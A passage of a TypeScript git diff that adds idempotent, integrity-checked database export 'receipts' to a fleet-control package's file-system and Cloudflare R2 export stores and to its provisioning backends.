settled(() => + primitives.close(temporaryHandle), + ); + cleanup = { + status: 'rejected', + reason: + closeCleanup.status === 'rejected' + ? new AggregateError( + [recoveryStat.reason, closeCleanup.reason], + 'database export receipt temporary-file cleanup failed', + ) + : recoveryStat.reason, + }; + } + if (cleanup.status === 'rejected') { + throw new AggregateError( + [preparation.reason, cleanup.reason], + 'database export receipt and temporary-file cleanup failed', + ); + } + throw preparation.reason; + } + const retainedStat = preparation.value; + let operation: Settlement; + try { + const streamed = await streamReceipt( + temporaryHandle, + input.body, + primitives, + markCancellationAttempted, + ); + const expected = await expectedPromise; + if ( + (input.contentLength !== undefined && + streamed.size !== input.contentLength) || + !sameIntegrity(streamed, expected) + ) { + throw databaseExportReceiptError('source-mismatch'); + } + await primitives.sync(temporaryHandle); + const committed = { + location: pathToFileURL(targetPath).href, + ...streamed, + }; + let published = false; + operation = await settled(async () => { + try { + await primitives.link(temporaryPath, targetPath); + published = true; + await unlinkOwnedTempPath(temporaryPath, retainedStat, 2n, primitives); + await primitives.sync(directories.handle); + return committed; + } catch (primary) { + if (published) throw primary; + const existing = await inspectReceiptTarget( + targetPath, + directories.directory, + directories.handle, + primitives, + ); + if (existing.status === 'absent') throw primary; + if (!sameIntegrity(existing.receipt, expected)) { + throw databaseExportReceiptError('collision'); + } + return existing.receipt; + } + }); + } catch (reason) { + operation = { status: 'rejected', reason }; + } + + const cleanup = await settled(() => + cleanupTemporaryHandle( + temporaryPath, + retainedStat, + temporaryHandle, + primitives, + ), + ); + if (operation.status === 'rejected' && cleanup.status === 'rejected') { + throw new AggregateError( + [operation.reason, cleanup.reason], + 'database export receipt and temporary-file cleanup failed', + ); + } + if (operation.status === 'rejected') throw operation.reason; + if (cleanup.status === 'rejected') throw cleanup.reason; + return operation.value; +} + +function readReceiptInputField( + input: unknown, + field: 'body' | 'contentLength' | 'expectedIntegrity' | 'identity', + errorKind: 'identity-malformed' | 'integrity-malformed', +): unknown { + try { + if ( + (typeof input !== 'object' || input === null) && + typeof input !== 'function' + ) { + throw databaseExportReceiptError(errorKind); + } + return Reflect.get(input, field); + } catch { + throw databaseExportReceiptError(errorKind); + } +} + +async function writeReceipt( + root: string, + authority: string, + inputValue: unknown, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, +): Promise { + const body = readReceiptInputField(inputValue, 'body', 'integrity-malformed'); + let cancellationAttempted = false; + const cancel = (reason: unknown) => { + if (cancellationAttempted) return; + cancellationAttempted = true; + cancelBodyWithoutAwait(body, reason); + }; + let expected: Promise; + try { + const expectedValue = readReceiptInputField( + inputValue, + 'expectedIntegrity', + 'integrity-malformed', + ); + expected = captureDatabaseExportIntegrityPromise(expectedValue); + } catch (error) { + cancel(error); + throw error; + } + try { + const identity = databaseExportReceiptIdentityFromUnknown( + readReceiptInputField(inputValue, 'identity', 'identity-malformed'), + authority, + ); + const contentLengthValue = readReceiptInputField( + inputValue, + 'contentLength', + 'integrity-malformed', + ); + if ( + contentLengthValue !== undefined && + (typeof contentLengthValue !== 'number' || + !Number.isSafeInteger(contentLengthValue) || + contentLengthValue < 1) + ) { + throw new Error( + 'database export receipt contentLength must be a positive safe integer', + ); + } + let locked: unknown; + try { + locked = Reflect.get(body as object, 'locked'); + } catch { + throw new Error('database export receipt body is malformed'); + } + if (locked !== false) { + throw new Error('database export receipt body is locked or malformed'); + } + const directories = await openReceiptDirectories( + root, + identity.databaseId, + primitives, + ); + try { + const targetPath = join( + directories.directory, + `${identity.operationId}.sql`, + ); + const existing = await inspectReceiptTarget( + targetPath, + directories.directory, + directories.handle, + primitives, + ); + if (existing.status === 'present') { + cancel(databaseExportReceiptError('collision')); + const declared = await expected; + if (!sameIntegrity(existing.receipt, declared)) { + throw databaseExportReceiptError('collision'); + } + return existing.receipt; + } + return await publishReceipt( + { + identity, + body: body as ReadableStream, + ...(contentLengthValue === undefined + ? {} + : { contentLength: contentLengthValue as number }), + }, + expected, + directories, + targetPath, + primitives, + () => { + cancellationAttempted = true; + }, + ); + } finally { + await closeAll(directories.handles, primitives); + } + } catch (error) { + cancel(error); + throw error; + } +} + +function configureReceiptCapability( + store: FileSystemDatabaseExportStore, + directory: string, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives, +): void { + Reflect.deleteProperty(store, 'receiptAuthority'); + Reflect.deleteProperty(store, 'writeReceipt'); + if (!supportsFileSystemReceipts(primitives)) return; + const authority = databaseExportReceiptAuthorityFromUnknown( + pathToFileURL(join(directory, '.anchorage-receipts', 'v1')).href, + ); + Object.defineProperties(store, { + receiptAuthority: { + configurable: true, + enumerable: true, + value: authority, + writable: false, + }, + writeReceipt: { + configurable: true, + enumerable: true, + value: (input: unknown) => + writeReceipt(directory, authority, input, primitives), + writable: false, + }, + }); +} async function writeChunk( file: Awaited>, @@ -28,10 +982,15 @@ export class FileSystemDatabaseExportStore implements DurableDatabaseExportStore { readonly #directory: string; + declare readonly receiptAuthority?: string; + declare readonly writeReceipt?: NonNullable< + DurableDatabaseExportStore['writeReceipt'] + >; constructor(directory: string) { if (directory.length === 0) throw new Error('export directory is required'); this.#directory = resolve(directory); + configureReceiptCapability(this, this.#directory, defaultReceiptPrimitives); } async write(input: { @@ -125,3 +1084,16 @@ export class FileSystemDatabaseExportStore } } } + +export function createFileSystemDatabaseExportStoreWithReceiptPrimitives( + directory: string, + overrides: FileSystemDatabaseExportStoreReceiptPrimitiveOverrides, +): FileSystemDatabaseExportStore { + const store = new FileSystemDatabaseExportStore(directory); + configureReceiptCapability( + store, + resolve(directory), + receiptPrimitives(overrides), + ); + return store; +} diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 1089a604..b7f17cdc 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -129,6 +129,8 @@ export { type ApplicationR2Resource, type D1Migration, type DatabaseExport, + type DatabaseExportIntegrity, + type DatabaseExportReceiptIdentity, type DatabaseReference, type DecommissionAdvanceIntent, type DecommissionAdvanceToken, diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index 7e62010a..4c9aeff6 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -9,6 +9,10 @@ import { applicationSecretValues, canonicalApplicationBindings, } from './application-bindings.js'; +import { + captureDatabaseExportReceiptCapability, + databaseExportReceiptIdentityFromUnknown, +} from './database-export-store.js'; import { isSha256 } from './deployment-context.js'; import { WorkerDeploymentError } from './deployment-error.js'; import { maintenanceUrl, readMaintenanceHealth } from './maintenance-health.js'; @@ -243,6 +247,12 @@ export class PlainWorkerBackend implements ProvisioningBackend { declare readonly advanceDecommissionAttachmentScan?: NonNullable< ProvisioningBackend['advanceDecommissionAttachmentScan'] >; + /** Canonical immutable receipt authority, present only with receipt export. */ + declare readonly databaseExportReceiptAuthority?: string; + /** Forwards one canonical operation receipt through the plain-Worker port. */ + declare readonly exportDatabaseReceipt?: NonNullable< + ProvisioningBackend['exportDatabaseReceipt'] + >; readonly #api: PlainWorkerProvisioningApi; readonly #identityCaller: string; readonly #fetch: typeof fetch; @@ -272,6 +282,33 @@ export class PlainWorkerBackend implements ProvisioningBackend { this.advanceDecommissionAttachmentScan = advanceDecommissionAttachmentScan.bind(options.api); } + const receiptCapability = captureDatabaseExportReceiptCapability( + options.api, + () => [ + options.api.databaseExportReceiptAuthority, + options.api.exportDatabaseReceipt, + ], + ); + if (receiptCapability) { + const exportDatabaseReceipt = receiptCapability.method as NonNullable< + PlainWorkerProvisioningApi['exportDatabaseReceipt'] + >; + this.databaseExportReceiptAuthority = receiptCapability.authority; + this.exportDatabaseReceipt = async (identity, fence) => { + this.#assertMutationDuration(fence); + const canonical = databaseExportReceiptIdentityFromUnknown( + identity, + receiptCapability.authority, + ); + const exported = await exportDatabaseReceipt(canonical, fence); + return { + databaseId: canonical.databaseId, + location: exported.location, + sha256: exported.sha256, + size: exported.size, + }; + }; + } } #assertMutationDuration(fence: ExternalMutationFence): void { diff --git a/packages/fleet-control/src/r2-export-store.ts b/packages/fleet-control/src/r2-export-store.ts index 847c9b29..fa500da4 100644 --- a/packages/fleet-control/src/r2-export-store.ts +++ b/packages/fleet-control/src/r2-export-store.ts @@ -2,11 +2,33 @@ import type { R2Bucket, + R2Object, + R2ObjectBody, ReadableStream as WorkerReadableStream, WritableStream as WorkerWritableStream, } from '@cloudflare/workers-types'; -import type { DurableDatabaseExportStore } from './database-export-store.js'; +import { + cancelBodyWithoutAwait, + captureDatabaseExportIntegrityPromise, + type DurableDatabaseExportStore, + databaseExportReceiptAuthorityFromUnknown, + databaseExportReceiptError, + databaseExportReceiptIdentityFromUnknown, +} from './database-export-store.js'; import { assertFileName, isPortablePathSegment } from './export-file-name.js'; +import type { + DatabaseExportIntegrity, + DatabaseExportReceiptIdentity, +} from './types.js'; + +const TEXT_ENCODER_ENCODE = TextEncoder.prototype.encode; +const textEncoder = new TextEncoder(); +const RECEIPT_METADATA_KEYS = [ + 'anchorageReceiptVersion', + 'anchorageReceiptAuthority', + 'anchorageDatabaseId', + 'anchorageOperationId', +] as const; export type DigestStreamConstructor = new ( algorithm: 'SHA-256', @@ -56,6 +78,25 @@ interface PreparedUpload { }; } +interface ReceiptMetadata extends Record { + readonly anchorageReceiptVersion: '1'; + readonly anchorageReceiptAuthority: string; + readonly anchorageDatabaseId: string; + readonly anchorageOperationId: string; +} + +interface PreparedReceiptUpload { + readonly identity: DatabaseExportReceiptIdentity; + readonly key: string; + readonly location: string; + readonly contentLength: number; + readonly metadata: ReceiptMetadata; +} + +type ReceiptLookup = + | { readonly status: 'absent' } + | { readonly status: 'present'; readonly object: R2ObjectBody }; + /** * Streams a database export into R2 and hashes an R2 readback. * @@ -65,11 +106,15 @@ interface PreparedUpload { * file's size. R2 receives a single-part put backed by `FixedLengthStream`; * multipart exports are unsupported. * - * A write attempt mints a UUID key. Cleanup after a committed-object failure + * A legacy `write()` attempt mints a UUID key. Cleanup after a committed-object failure * removes that key. A cleanup failure, rejected put, or conditional collision * can leave an orphan below the database prefix without blocking a retry. * `write()` is not idempotent. * + * `writeReceipt()` instead derives one immutable operation key, publishes with + * a conditional put, and converges only after exact metadata and byte + * integrity readback. It never deletes that stable key on any receipt path. + * * A failure after the put settles aborts the body pipe. When the body is a * `tee()` branch, that abort can stay pending: it settles when the tee * source is exhausted or errors, or the other branch is cancelled. @@ -81,42 +126,68 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { readonly #DigestStream: DigestStreamConstructor; readonly #FixedLengthStream: FixedLengthStreamConstructor; readonly #randomUUID: () => string; + declare readonly receiptAuthority: string; + declare readonly writeReceipt: NonNullable< + DurableDatabaseExportStore['writeReceipt'] + >; constructor(options: R2DatabaseExportStoreOptions) { + const bucket = options.bucket; + const streams = options.streams; + const randomUUID = options.randomUUID; + const bucketName = options.bucketName; + const keyPrefix = options.keyPrefix; if ( - typeof options.bucket?.put !== 'function' || - typeof options.bucket.get !== 'function' || - typeof options.bucket.delete !== 'function' + typeof bucket?.put !== 'function' || + typeof bucket.get !== 'function' || + typeof bucket.delete !== 'function' ) { throw new Error( 'R2DatabaseExportStore requires the Workers R2Bucket put/get/delete interface', ); } if ( - typeof options.streams?.DigestStream !== 'function' || - typeof options.streams.FixedLengthStream !== 'function' + typeof streams?.DigestStream !== 'function' || + typeof streams.FixedLengthStream !== 'function' ) { throw new Error( 'R2DatabaseExportStore requires the Workers DigestStream and FixedLengthStream constructors', ); } - if (typeof options.randomUUID !== 'function') { + if (typeof randomUUID !== 'function') { throw new Error('R2DatabaseExportStore requires a randomUUID function'); } - if (!isPortablePathSegment(options.bucketName)) { + if (!isPortablePathSegment(bucketName)) { throw new Error('R2 export bucketName must be one portable path segment'); } - if (!isKeyPrefix(options.keyPrefix)) { + if (!isKeyPrefix(keyPrefix)) { throw new Error( 'R2 export keyPrefix must be portable path segments each followed by /', ); } - this.#bucket = options.bucket; - this.#bucketName = options.bucketName; - this.#keyPrefix = options.keyPrefix ?? ''; - this.#DigestStream = options.streams.DigestStream; - this.#FixedLengthStream = options.streams.FixedLengthStream; - this.#randomUUID = options.randomUUID; + this.#bucket = bucket; + this.#bucketName = bucketName; + this.#keyPrefix = keyPrefix ?? ''; + this.#DigestStream = streams.DigestStream; + this.#FixedLengthStream = streams.FixedLengthStream; + this.#randomUUID = randomUUID; + const receiptAuthority = databaseExportReceiptAuthorityFromUnknown( + `r2://${this.#bucketName}/${this.#keyPrefix}receipts/v1`, + ); + Object.defineProperties(this, { + receiptAuthority: { + configurable: false, + enumerable: true, + value: receiptAuthority, + writable: false, + }, + writeReceipt: { + configurable: false, + enumerable: true, + value: (input: unknown) => this.#writeReceipt(input, receiptAuthority), + writable: false, + }, + }); } async write(input: { @@ -298,6 +369,318 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { }; } + async #writeReceipt(inputValue: unknown, authority: string) { + const body = readReceiptInputField( + inputValue, + 'body', + 'integrity-malformed', + ); + let cancellationAttempted = false; + const cancel = (reason: unknown) => { + if (cancellationAttempted) return; + cancellationAttempted = true; + cancelBodyWithoutAwait(body, reason); + }; + + let expected: Promise; + try { + const expectedValue = readReceiptInputField( + inputValue, + 'expectedIntegrity', + 'integrity-malformed', + ); + expected = captureDatabaseExportIntegrityPromise(expectedValue); + } catch (error) { + cancel(error); + throw error; + } + + try { + const prepared = this.#prepareReceipt(inputValue, authority, body); + const preflight = await this.#lookupReceipt( + prepared.key, + prepared.identity, + ); + if (preflight.status === 'present') { + cancel(databaseExportReceiptError('collision')); + return await this.#selectExistingReceipt( + preflight.object, + prepared, + expected, + ); + } + + let fixed: { + readonly readable: WorkerReadableStream; + readonly writable: WorkerWritableStream; + }; + try { + const stream = new this.#FixedLengthStream(prepared.contentLength); + fixed = { readable: stream.readable, writable: stream.writable }; + } catch (error) { + cancel(error); + throw error; + } + + const controller = new AbortController(); + const putStart = await settled(() => ({ + operation: this.#bucket.put(prepared.key, fixed.readable, { + onlyIf: { etagDoesNotMatch: '*' }, + customMetadata: prepared.metadata, + }), + })); + if (putStart.status === 'rejected') { + cancel(putStart.reason); + abortWritableWithoutAwait(fixed.writable, putStart.reason); + const expectedState = await settled(() => expected); + return this.#recoverRejectedReceiptPut( + prepared, + expectedState, + putStart.reason, + ); + } + + const put = funnel(() => putStart.value.operation); + void put.then( + (object) => { + if (object === null) { + controller.abort(databaseExportReceiptError('collision')); + } + }, + (reason: unknown) => controller.abort(reason), + ); + const pipe = funnel(() => + (body as ReadableStream).pipeTo( + fixed.writable as WritableStream, + { signal: controller.signal }, + ), + ); + void pipe.catch((reason: unknown) => { + abortWritableWithoutAwait(fixed.writable, reason); + }); + const [putState, pipeState, expectedState] = await Promise.allSettled([ + put, + pipe, + expected, + ]); + if (expectedState.status === 'rejected') throw expectedState.reason; + if (expectedState.value.size !== prepared.contentLength) { + throw databaseExportReceiptError('source-mismatch'); + } + if (putState.status === 'rejected') { + return await this.#recoverRejectedReceiptPut( + prepared, + expectedState, + putState.reason, + ); + } + if (putState.value === null) { + return await this.#recoverConditionalCollision( + prepared, + expectedState.value, + ); + } + if (pipeState.status === 'rejected') { + throw new Error('R2 export body did not stream completely', { + cause: pipeState.reason, + }); + } + if (!hasExactReceiptMetadata(putState.value, prepared.metadata)) { + throw databaseExportReceiptError('readback'); + } + if (readR2ObjectSize(putState.value) !== prepared.contentLength) { + throw databaseExportReceiptError('readback'); + } + + const committed = await this.#lookupReceipt( + prepared.key, + prepared.identity, + ); + if (committed.status === 'absent') { + throw databaseExportReceiptError('readback'); + } + const receipt = await this.#hashReceiptObject( + committed.object, + prepared.location, + ); + if (!sameIntegrity(receipt, expectedState.value)) { + throw databaseExportReceiptError('source-mismatch'); + } + return receipt; + } catch (error) { + cancel(error); + throw error; + } + } + + #prepareReceipt( + inputValue: unknown, + authority: string, + body: unknown, + ): PreparedReceiptUpload { + const identity = databaseExportReceiptIdentityFromUnknown( + readReceiptInputField(inputValue, 'identity', 'identity-malformed'), + authority, + ); + const contentLength = readReceiptInputField( + inputValue, + 'contentLength', + 'integrity-malformed', + ); + if ( + typeof contentLength !== 'number' || + !Number.isSafeInteger(contentLength) || + contentLength < 1 + ) { + throw new Error( + 'database export receipt contentLength must be a positive safe integer', + ); + } + let locked: unknown; + try { + if ( + (typeof body !== 'object' || body === null) && + typeof body !== 'function' + ) { + throw new Error('database export receipt body is malformed'); + } + locked = Reflect.get(body, 'locked'); + } catch { + throw new Error('database export receipt body is malformed'); + } + if (locked !== false) { + throw new Error('database export receipt body is locked or malformed'); + } + const key = `${this.#keyPrefix}receipts/v1/${identity.databaseId}/${identity.operationId}.sql`; + if (utf8Length(key) > 1_024) { + throw databaseExportReceiptError('key-too-long'); + } + return { + identity, + key, + location: `r2://${this.#bucketName}/${key}`, + contentLength, + metadata: receiptMetadata(identity), + }; + } + + async #lookupReceipt( + key: string, + identity: DatabaseExportReceiptIdentity, + ): Promise { + const state = await settled(() => this.#bucket.get(key)); + if (state.status === 'rejected') { + throw databaseExportReceiptError('readback'); + } + if (state.value === null) return { status: 'absent' }; + if (!hasExactReceiptMetadata(state.value, receiptMetadata(identity))) { + throw databaseExportReceiptError('collision'); + } + return { status: 'present', object: state.value }; + } + + async #selectExistingReceipt( + object: R2ObjectBody, + prepared: PreparedReceiptUpload, + expected: Promise, + ) { + const [readbackState, expectedState] = await Promise.allSettled([ + this.#hashReceiptObject(object, prepared.location), + expected, + ]); + if (expectedState.status === 'rejected') throw expectedState.reason; + if (readbackState.status === 'rejected') throw readbackState.reason; + if (expectedState.value.size !== prepared.contentLength) { + throw databaseExportReceiptError('source-mismatch'); + } + if (!sameIntegrity(readbackState.value, expectedState.value)) { + throw databaseExportReceiptError('collision'); + } + return readbackState.value; + } + + async #recoverRejectedReceiptPut( + prepared: PreparedReceiptUpload, + expectedState: PromiseSettledResult, + reason: unknown, + ) { + if (expectedState.status === 'rejected') throw expectedState.reason; + if (expectedState.value.size !== prepared.contentLength) { + throw databaseExportReceiptError('source-mismatch'); + } + const winner = await this.#lookupReceipt(prepared.key, prepared.identity); + if (winner.status === 'absent') { + throw new Error('R2 export upload failed', { cause: reason }); + } + const receipt = await this.#hashReceiptObject( + winner.object, + prepared.location, + ); + if (!sameIntegrity(receipt, expectedState.value)) { + throw databaseExportReceiptError('collision'); + } + return receipt; + } + + async #recoverConditionalCollision( + prepared: PreparedReceiptUpload, + expected: DatabaseExportIntegrity, + ) { + const winner = await this.#lookupReceipt(prepared.key, prepared.identity); + if (winner.status === 'absent') { + throw databaseExportReceiptError('collision'); + } + const receipt = await this.#hashReceiptObject( + winner.object, + prepared.location, + ); + if (!sameIntegrity(receipt, expected)) { + throw databaseExportReceiptError('collision'); + } + return receipt; + } + + async #hashReceiptObject(object: R2ObjectBody, location: string) { + let reportedSize: number; + let digest: InstanceType; + let readback: WorkerReadableStream; + let digestPromise: Promise; + try { + reportedSize = readR2ObjectSize(object); + digest = new this.#DigestStream('SHA-256'); + readback = object.body; + digestPromise = digest.digest; + } catch { + throw databaseExportReceiptError('readback'); + } + const digestStatePromise = settled(() => digestPromise); + const readState = await settled(() => readback.pipeTo(digest)); + if (readState.status === 'rejected') { + abortWritableWithoutAwait(digest, readState.reason); + throw databaseExportReceiptError('readback'); + } + const digestState = await digestStatePromise; + if (digestState.status === 'rejected') { + throw databaseExportReceiptError('readback'); + } + try { + const bytesWritten = Number(digest.bytesWritten); + if ( + !Number.isSafeInteger(bytesWritten) || + bytesWritten !== reportedSize + ) { + throw databaseExportReceiptError('readback'); + } + return { + location, + size: reportedSize, + sha256: toHex(digestState.value), + }; + } catch { + throw databaseExportReceiptError('readback'); + } + } + #prepare(input: { readonly databaseId: string; readonly fileName: string; @@ -362,6 +745,106 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { } } +function readReceiptInputField( + input: unknown, + field: 'body' | 'contentLength' | 'expectedIntegrity' | 'identity', + errorKind: 'identity-malformed' | 'integrity-malformed', +): unknown { + try { + if ( + (typeof input !== 'object' || input === null) && + typeof input !== 'function' + ) { + throw databaseExportReceiptError(errorKind); + } + return Reflect.get(input, field); + } catch { + throw databaseExportReceiptError(errorKind); + } +} + +function receiptMetadata( + identity: DatabaseExportReceiptIdentity, +): ReceiptMetadata { + return Object.freeze({ + anchorageReceiptVersion: '1', + anchorageReceiptAuthority: identity.authority, + anchorageDatabaseId: identity.databaseId, + anchorageOperationId: identity.operationId, + }); +} + +function hasExactReceiptMetadata( + object: R2Object, + expected: ReceiptMetadata, +): boolean { + try { + const value = Reflect.get(object, 'customMetadata'); + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + return false; + } + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) return false; + const descriptors = Object.getOwnPropertyDescriptors(value); + const keys = Reflect.ownKeys(descriptors); + if ( + keys.length !== RECEIPT_METADATA_KEYS.length || + keys.some( + (key) => + typeof key !== 'string' || + !RECEIPT_METADATA_KEYS.includes( + key as (typeof RECEIPT_METADATA_KEYS)[number], + ), + ) + ) { + return false; + } + return RECEIPT_METADATA_KEYS.every((key) => { + const descriptor = descriptors[key]; + return ( + descriptor !== undefined && + 'value' in descriptor && + descriptor.enumerable === true && + typeof descriptor.value === 'string' && + descriptor.value === expected[key] + ); + }); + } catch { + return false; + } +} + +function readR2ObjectSize(object: R2Object): number { + let size: unknown; + try { + size = Reflect.get(object, 'size'); + } catch { + throw databaseExportReceiptError('readback'); + } + if (typeof size !== 'number' || !Number.isSafeInteger(size) || size < 1) { + throw databaseExportReceiptError('readback'); + } + return size; +} + +function sameIntegrity( + left: DatabaseExportIntegrity, + right: DatabaseExportIntegrity, +): boolean { + return left.size === right.size && left.sha256 === right.sha256; +} + +function abortWritableWithoutAwait( + writable: { abort(reason?: unknown): Promise }, + reason: unknown, +): void { + void settled(() => writable.abort(reason)); +} + +function utf8Length(value: string): number { + return Reflect.apply(TEXT_ENCODER_ENCODE, textEncoder, [value]).byteLength; +} + async function settled( operation: () => T | PromiseLike, ): Promise>> { diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 294589d2..8999aa23 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -703,11 +703,36 @@ export interface LiveDeployment { readonly maintenance: MaintenanceHealth; } -export interface DatabaseExport { +/** Independently verified byte integrity for one complete database export. */ +export interface DatabaseExportIntegrity { + /** Positive safe-integer byte length of the complete export. */ + readonly size: number; + /** Lowercase hexadecimal SHA-256 digest of the complete export. */ + readonly sha256: string; +} + +/** + * Immutable identity of one durable database-export receipt. + * + * `authority` identifies the configured storage root and must remain unchanged + * for every retry. Reusing the same complete identity converges only when the + * already-committed export has exact byte integrity; a collision is preserved + * and refused. + */ +export interface DatabaseExportReceiptIdentity { + /** Receipt derivation version. Version 1 is permanently stable. */ + readonly version: 1; + /** Canonical identifier of the immutable receipt storage authority. */ + readonly authority: string; + /** Immutable provider database identifier. */ + readonly databaseId: string; + /** Durable UUIDv4 operation identifier reused by every retry. */ + readonly operationId: string; +} + +export interface DatabaseExport extends DatabaseExportIntegrity { readonly databaseId: string; readonly location: string; - readonly sha256: string; - readonly size: number; } export interface FleetInventoryDeployment { @@ -912,13 +937,10 @@ export interface PlainWorkerDeploymentStatus { } /** Result of a durable ordinary-Worker database export. */ -export interface PlainWorkerDatabaseExportResult { +export interface PlainWorkerDatabaseExportResult + extends DatabaseExportIntegrity { /** Durable location returned by the export store. */ readonly location: string; - /** Committed export size in bytes. */ - readonly size: number; - /** Lowercase hexadecimal SHA-256 digest of the complete export. */ - readonly sha256: string; } /** Outcome of a provider mutation that may have been dispatched. */ @@ -1238,6 +1260,21 @@ export interface PlainWorkerProvisioningApi extends PlainWorkerRouteApi { database: { readonly id: string; readonly name: string }, fence: ExternalMutationFence, ): Promise; + /** + * Canonical receipt storage authority. Present together with + * `exportDatabaseReceipt`, absent together when unsupported, and immutable + * for every retry of one receipt identity. + */ + readonly databaseExportReceiptAuthority?: string; + /** + * Streams one operation-scoped export whose eager source-integrity promise is + * independently verified by the configured store. An exact retry converges; + * an identity or byte collision is preserved and refused. + */ + exportDatabaseReceipt?( + identity: DatabaseExportReceiptIdentity, + fence: ExternalMutationFence, + ): Promise; } export interface FleetStateLease extends ExternalMutationFence { @@ -1642,6 +1679,21 @@ export interface ProvisioningBackend { database: DatabaseReference, fence: ExternalMutationFence, ): Promise; + /** + * Canonical receipt storage authority. Present together with + * `exportDatabaseReceipt`, absent together when unsupported, and immutable + * for every retry of one receipt identity. + */ + readonly databaseExportReceiptAuthority?: string; + /** + * Exports one operation-scoped receipt. The lower store consumes the body + * while its eager source-integrity promise settles, exact retries converge, + * and identity or byte collisions are preserved and refused. + */ + exportDatabaseReceipt?( + identity: DatabaseExportReceiptIdentity, + fence: ExternalMutationFence, + ): Promise; deleteDatabase( database: DatabaseReference, fence: ExternalMutationFence, diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index af5dbe76..951ef1c8 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -16,6 +16,10 @@ import { applicationSecretNames, applicationSecretValues, } from './application-bindings.js'; +import { + captureDatabaseExportReceiptCapability, + databaseExportReceiptIdentityFromUnknown, +} from './database-export-store.js'; import { isSha256 } from './deployment-context.js'; import { WorkerDeploymentError } from './deployment-error.js'; import { parseHostRoutingTarget } from './host-routing.js'; @@ -45,6 +49,7 @@ import type { ActiveRouteAttestation, D1Migration, DatabaseExport, + DatabaseExportReceiptIdentity, DatabaseReference, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, @@ -334,6 +339,18 @@ export interface WorkersForPlatformsApi { revokeDispatchSecrets(scriptName: string): Promise; deleteDispatchWorker(scriptName: string): Promise; exportDatabase(databaseId: string): Promise; + /** + * Canonical immutable receipt authority. Present together with + * `exportDatabaseReceipt` and unchanged across retries of one identity. + */ + readonly databaseExportReceiptAuthority?: string; + /** + * Streams one operation-scoped export. Exact retries converge while an + * identity or byte collision is preserved and refused. + */ + exportDatabaseReceipt?( + identity: DatabaseExportReceiptIdentity, + ): Promise; deleteDatabase(databaseId: string): Promise; putHostRouting( namespaceId: string, @@ -410,6 +427,12 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { declare readonly advanceDecommissionAttachmentScan?: NonNullable< ProvisioningBackend['advanceDecommissionAttachmentScan'] >; + /** Canonical immutable receipt authority, present only with receipt export. */ + declare readonly databaseExportReceiptAuthority?: string; + /** Forwards one canonical receipt under the ambient mutation fence. */ + declare readonly exportDatabaseReceipt?: NonNullable< + ProvisioningBackend['exportDatabaseReceipt'] + >; readonly #client: WorkersForPlatformsApi; readonly #fetch: typeof fetch; readonly #hostRoutingKvId: string; @@ -445,7 +468,8 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { if (!options.hostRoutingKvId) { throw new Error('hostRoutingKvId is required'); } - this.#client = options.client; + const client = options.client; + this.#client = client; this.#fetch = options.fetch ?? fetch; this.#hostRoutingKvId = options.hostRoutingKvId; this.#auditQueueName = options.auditQueueName; @@ -475,12 +499,32 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { ); } this.#namespacedState = options.namespacedState; - const advanceAttachmentScan = - options.client.advanceDecommissionAttachmentScan; + const advanceAttachmentScan = client.advanceDecommissionAttachmentScan; if (typeof advanceAttachmentScan === 'function') { - this.advanceDecommissionAttachmentScan = advanceAttachmentScan.bind( - options.client, - ); + this.advanceDecommissionAttachmentScan = + advanceAttachmentScan.bind(client); + } + const receiptCapability = captureDatabaseExportReceiptCapability( + client, + () => [ + client.databaseExportReceiptAuthority, + client.exportDatabaseReceipt, + ], + ); + if (receiptCapability) { + const exportDatabaseReceipt = receiptCapability.method as NonNullable< + WorkersForPlatformsApi['exportDatabaseReceipt'] + >; + this.databaseExportReceiptAuthority = receiptCapability.authority; + this.exportDatabaseReceipt = (identity, fence) => { + const canonical = databaseExportReceiptIdentityFromUnknown( + identity, + receiptCapability.authority, + ); + return this.#withMutationFence(fence, () => + exportDatabaseReceipt(canonical), + ); + }; } } diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index 84cd36a9..8926228b 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -7,10 +7,16 @@ import { chmod, mkdir, mkdtemp, rm, stat, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import { join, resolve } from 'node:path'; import { Readable } from 'node:stream'; -import type { DurableDatabaseExportStore } from './database-export-store.js'; +import { + captureDatabaseExportReceiptCapability, + type DurableDatabaseExportStore, + databaseExportReceiptIdentityFromUnknown, +} from './database-export-store.js'; import { readField, readStringField } from './json-field-reads.js'; import { providerBindingsToPlainWorkerShape } from './provider-binding-inventory.js'; import type { + DatabaseExportIntegrity, + DatabaseExportReceiptIdentity, DatabaseReference, ExternalMutationFence, OrdinaryWorkerDeploymentVersion, @@ -66,9 +72,39 @@ function normalizeVersionSummary(value: unknown): PlainWorkerVersionSummary { return { versionId: readVersionId(value), tag: versionTag(value) }; } +async function funnel(operation: () => T | PromiseLike): Promise { + return operation(); +} + +async function settleOperation( + operation: () => T | PromiseLike, +): Promise>> { + const [state] = await Promise.allSettled([funnel(operation)]); + return state; +} + +async function hashScratchFile( + location: string, +): Promise { + const hash = createHash('sha256'); + let size = 0; + for await (const chunk of createReadStream(location)) { + hash.update(chunk); + size += chunk.byteLength; + } + return { 